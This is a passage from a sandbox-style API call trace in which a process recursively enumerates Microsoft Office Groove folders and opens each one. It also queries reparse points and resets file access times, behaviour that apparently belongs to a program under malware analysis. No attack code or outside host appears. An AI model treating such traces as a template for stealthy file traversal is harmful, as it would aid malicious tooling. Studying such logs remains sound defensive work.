lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0055.863] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0055.864] GetLastError () returned 0x12 [0055.865] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459bb8 [0055.865] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.865] GetLastError () returned 0x12 [0055.865] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.865] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.866] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0055.866] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0055.867] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459bb8 [0055.868] GetLastError () returned 0x12 [0055.868] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0055.868] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.868] GetLastError () returned 0x12 [0055.868] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.869] GetLastError () returned 0x12 [0055.869] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.869] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.870] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.870] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.870] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.874] GetLastError () returned 0x12 [0055.874] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.874] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.874] GetLastError () returned 0x12 [0055.874] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.875] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.876] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.876] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.876] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.876] GetLastError () returned 0x12 [0055.876] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.876] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.877] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.877] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0055.877] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0055.877] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0055.879] GetLastError () returned 0x12 [0055.879] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459bb8 [0055.879] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.879] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.880] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.880] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.880] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c78 [0055.881] GetLastError () returned 0x12 [0055.882] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459d38 [0055.882] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.882] GetLastError () returned 0x12 [0055.882] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.882] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.883] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.883] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.883] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459d38 [0055.885] GetLastError () returned 0x12 [0055.885] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c78 [0055.886] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.886] GetLastError () returned 0x12 [0055.886] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.886] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.887] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.887] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.887] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c78 [0055.887] GetLastError () returned 0x12 [0055.887] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459d38 [0055.887] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.887] GetLastError () returned 0x12 [0055.887] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.887] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.888] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.888] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.889] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459d38 [0055.889] GetLastError () returned 0x12 [0055.889] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c78 [0055.889] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.889] GetLastError () returned 0x12 [0055.889] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.889] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.890] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.890] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.890] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c78 [0055.890] GetLastError () returned 0x12 [0055.891] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459d38 [0055.891] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.891] GetLastError () returned 0x12 [0055.891] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.891] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.891] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.891] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.891] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459d38 [0055.893] GetLastError () returned 0x12 [0055.893] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c78 [0055.893] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.893] GetLastError () returned 0x12 [0055.893] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.894] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.895] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.895] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.895] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c78 [0055.897] GetLastError () returned 0x12 [0055.897] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459d38 [0055.897] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.898] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview"), fInfoLevelId=0x0, lpFileInformation=0x17ae35c | out: lpFileInformation=0x17ae35c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview"), dwDesiredAccess=0x80000000, 